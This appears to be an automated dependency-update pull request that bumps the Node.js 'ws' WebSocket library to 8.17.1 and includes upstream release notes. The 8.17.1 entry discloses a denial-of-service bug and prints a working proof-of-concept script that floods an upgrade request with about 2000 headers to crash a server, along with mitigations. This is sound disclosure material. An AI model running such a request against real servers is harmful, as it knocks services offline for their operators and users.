fix(deps): update dependency ws to v8.17.1 - autoclosed

renovate[bot] commented 1 year ago

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	`8.12.1` -> `8.17.1`

Release Notes

websockets/ws (ws)

### [`v8.17.1`](https://togithub.com/websockets/ws/releases/tag/8.17.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.17.0...8.17.1) ### Bug fixes - Fixed a DoS vulnerability ([#2231](https://togithub.com/websockets/ws/issues/2231)). A request with a number of headers exceeding the[`server.maxHeadersCount`][server.maxHeadersCount] threshold could be used to crash a ws server. ```js const http = require('http'); const WebSocket = require('ws'); const server = http.createServer(); const wss = new WebSocket.Server({ server }); server.listen(function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: server.address().port }); request.end(); }); ``` The vulnerability was reported by [Ryan LaPointe](https://togithub.com/rrlapointe) in [https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][--max-http-header-size=size] and/or the [`maxHeaderSize`][maxHeaderSize] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount ### [`v8.17.0`](https://togithub.com/websockets/ws/releases/tag/8.17.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.16.0...8.17.0) ### Features - The `WebSocket` constructor now accepts the `createConnection` option ([#2219](https://togithub.com/websockets/ws/issues/2219)). ### Other notable changes - The default value of the `allowSynchronousEvents` option has been changed to `true` ([#2221](https://togithub.com/websockets/ws/issues/2221)). This is a breaking change in a patch release. The assumption is that the option is not widely used. ### [`v8.16.0`](https://togithub.com/websockets/ws/releases/tag/8.16.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.15.1...8.16.0) ### Features - Added the `autoPong` option ([`01ba54e`](https://togithub.com/websockets/ws/commit/01ba54ed)). ### [`v8.15.1`](https://togithub.com/websockets/ws/releases/tag/8.15.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.15.0...8.15.1) ### Notable changes - The `allowMultipleEventsPerMicrotask` option has been renamed to `allowSynchronousEvents` ([`4ed7fe5`](https://togithub.com/websockets/ws/commit/4ed7fe58)). This is a breaking change in a patch release that could have been avoided with an alias, but the renamed option was added only 3 days ago, so hopefully it hasn't already been widely used. ### [`v8.15.0`](https://togithub.com/websockets/ws/releases/tag/8.15.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.14.2...8.15.0) ### Features - Added the `allowMultipleEventsPerMicrotask` option ([`93e3552`](https://togithub.com/websockets/ws/commit/93e3552e)). ### [`v8.14.2`](https://togithub.com/websockets/ws/releases/tag/8.14.2) [Compare Source](https://togithub.com/websockets/ws/compare/8.14.1...8.14.2) ### Bug fixes - Fixed an issue that allowed errors thrown by failed assertions to be swallowed when running tests ([`7f4e1a7`](https://togithub.com/websockets/ws/commit/7f4e1a75)). ### [`v8.14.1`](https://togithub.com/websockets/ws/releases/tag/8.14.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.14.0...8.14.1) ##### Bug fixes - Improved the reliability of two tests for [CITGM][] ([`fd3c64c`](https://togithub.com/websockets/ws/commit/fd3c64cb)). [CITGM]: https://togithub.com/nodejs/citgm ### [`v8.14.0`](https://togithub.com/websockets/ws/releases/tag/8.14.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.13.0...8.14.0) ### Features - The `WebSocket` constructor now accepts HTTP(S) URLs ([#2162](https://togithub.com/websockets/ws/issues/2162)). - The `socket` argument of `server.handleUpgrade()` can now be a generic `Duplex` stream ([#2165](https://togithub.com/websockets/ws/issues/2165)). ### Other notable changes - At most one event per microtask is now emitted ([#2160](https://togithub.com/websockets/ws/issues/2160)). ### [`v8.13.0`](https://togithub.com/websockets/ws/releases/tag/8.13.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.12.1...8.13.0) ### Features - Added the `finishRequest` option to support late addition of headers ([#2123](https://togithub.com/websockets/ws/issues/2123)).